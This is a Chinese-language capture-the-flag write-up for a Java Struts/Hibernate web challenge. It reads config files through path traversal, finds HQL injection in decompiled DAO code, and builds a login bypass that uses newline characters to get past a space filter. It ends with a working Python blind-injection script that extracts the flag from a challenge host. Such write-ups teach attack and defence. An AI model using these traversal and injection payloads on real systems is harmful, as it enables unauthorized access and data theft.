打开场景,根据提示提示,扫描目录,扫出来一个/list,提示要先登录,先抓个包看看,在第二个包出抓到了形如/loadimage?fileName=web_login_bg.jpg
再熟悉不过了,文件包含,结合cookie里的phpsession和jsessionid可以判断出,后端同时使用了java和php
那么,既然是java项目,就尝试读取一下web.xml,这个是javaweb项目最基础的一个xml文件,一般再WEB-INF目录下
构造/loadimage?fileName=…/…/WEB-INF/web.xml
WEB.XML
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>Struts Blank</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>/ctfpage/index.jsp</welcome-file>
</welcome-file-list>
<error-page>
<error-code>404</error-code>
<location>/ctfpage/404.html</location>
</error-page>
</web-app>
读出来是一个struts项目,那就好办了,struts是mvc的c层,常用目录,struts.xml(用于url匹配),applicationContext.xml(用于不同层框架的整合)
分别构造/loadimage?fileName=…/…/WEB-INF/classes/struts.xml
/loadimage?fileName=…/…/WEB-INF/classes/applicationContext.xml
单纯的struts项目结构问题
STRUTS.XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="strutsenableDynamicMethodInvocation" value="false"/>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
<constant name="struts.action.extension" value=","/>
<package name="front" namespace="/" extends="struts-default">
<global-exception-mappings>
<exception-mapping exception="java.lang.Exception" result="error"/>
</global-exception-mappings>
<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
<result name="error">/ctfpage/login.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
<action name="loadimage" class="com.cuitctf.action.DownloadAction">
<result name="success" type="stream">
<param name="contentType">image/jpeg</param>
<param name="contentDisposition">attachment;filename="bg.jpg"</param>
<param name="inputName">downloadFile</param>
</result>
<result name="suffix_error">/ctfpage/welcome.jsp</result>
</action>
</package>
<package name="back" namespace="/" extends="struts-default">
<interceptors>
<interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
<interceptor-stack name="userAuth">
<interceptor-ref name="defaultStack" />
<interceptor-ref name="oa" />
</interceptor-stack>
</interceptors>
<action name="list" class="com.cuitctf.action.AdminAction" method="execute">
<interceptor-ref name="userAuth">
<param name="excludeMethods">
execute
</param>
</interceptor-ref>
<result name="login_error">/ctfpage/login.jsp</result>
<result name="list_error">/ctfpage/welcome.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
</package>
</struts>
applicationContext.XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName">
<value>com.mysql.jdbc.Driver</value>
</property>
<property name="url">
<value>jdbc:mysql://localhost:3306/sctf</value>
</property>
<property name="username" value="root"/>
<property name="password" value="root" />
</bean>
<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource">
<ref bean="dataSource"/>
</property>
<property name="mappingLocations">
<value>user.hbm.xml</value>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager">
<ref bean="transactionManager"/>
</property>
<property name="transactionAttributes">
<props>
<prop key="add">PROPAGATION_REQUIRED</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
<property name="hibernateTemplate">
<ref bean="hibernateTemplate"/>
</property>
</bean>
<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>
读出来发现几个关键类,UserLoginAction,UserDaoImpl,UserServiceImpl,同时可以知道是mysql数据库,hibernate框架
经典的ssh
由于源码里把src路径删了,所以只能通过.class文件反编译出类的内容,jd-gui,理一下逻辑,
UserLoginAction,调用了UserServiceImpl里的loginCheck方法进行登录检验,要求返回User对象个数只能是一个
public boolean userCheck(User user) {
List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
if (userList != null && userList.size() == 1)
return true;
addActionError("Username or password is Wrong, please check!");
return false;
}
UserServiceImpl在做了=和空格的过滤后调用UserDaoImpl进行数据库查询
public List<User> loginCheck(String name, String password) {
name = name.replaceAll(" ", "");
name = name.replaceAll("=", "");
Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
if (password_matcher.find())
return this.userDao.loginCheck(name, password);
return null;
}
UserDaoImpl完成了数据库的查询,这里可以看出,sql语句没有做任何的处理,只要闭合单引号,就可以进行绕过
public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
public List<User> findUserByName(String name) {
return getHibernateTemplate().find("from User where name ='" + name + "'");
}
public List<User> loginCheck(String name, String password) {
return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}
}
于是本着这个思路,构造万能密码user.name=admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin&user.password=1
至于为什么是要用两个or,对我这样的新手可能要想很久,很多wp也没写,后来和别的师傅讨论后发现,mysql里and优先级比or高
那么两个or的作用是保证永真,简单举个例,一个or:admin’ or ‘1’>‘0’ and password=1 表示为false or true and false,先执行true and false,
为false再有false or false,就是false(我做弊了,后面用payload检测过,数据库里User只有一条数据,且不是admin,这跟原题不一样
,这是简化版,因此找源码自己搭的师傅会感觉payload不一样很正常),可能是我太菜了,别人不惜的写。。。。
而两个false or true or true and true是true,因此根据这个逻辑,可以进行盲注
至于flag在哪,之前漏了一个user.hbm.xml,是给hibernate框架用的对象和表列的对应关系
<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
"-//Hibernate/Hibernate Mapping DTD 3.0//EN"
"http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
<class name="User" table="hlj_members">
<id name="id" column="user_id">
<generator class="identity"/>
</id>
<property name="name"/>
<property name="password"/>
</class>
<class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
<id name="flag" column="welcometoourctf">
<generator class="identity"/>
</id>
<property name="flag"/>
</class>
</hibernate-mapping>
flag在数据库bc3fa8be0db46a3610db3ca0ec794c0b的welcometoourctf列里,在hibernate框架里,被封装成Flag类
因此只需要select id from Flag,即可完成查询
有了注入点和sql语句。那就可以进行盲注了,上才艺
import requests
s = requests.session()
flag = ''
for i in range(1, 50):
p = ''
for j in range(1, 255):
payload1="(select%0Acount(name)%0Afrom%0AUser)<"+str(j)#爆破User表数据条数
payload2="(select%0Aascii(substr(name,"+str(i)+",1))%0Afrom%0AUser)<'" + str(j) + "'" #爆破User表用户名
payload3 = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'" + str(j) + "'"
url = "http://111.200.241.244:64128/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload3 + "%0Aor%0Aname%0Alike%0A'admin&user.password=1"
r1 = s.get(url)
if len(r1.text) > 20000 and p != '':
flag += p
print(i, flag)
break
p = chr(j)
这题在buuctf里也有,只不过靶场容器似乎不太想让你爆破,跑几个请求就404了,而且更换了flag所以你可以看到这一题只有6位大佬解出来了,是的只有六个,不知道大佬是怎么做的
参考视频链接:https://www.bilibili.com/video/BV1Nq4y1S787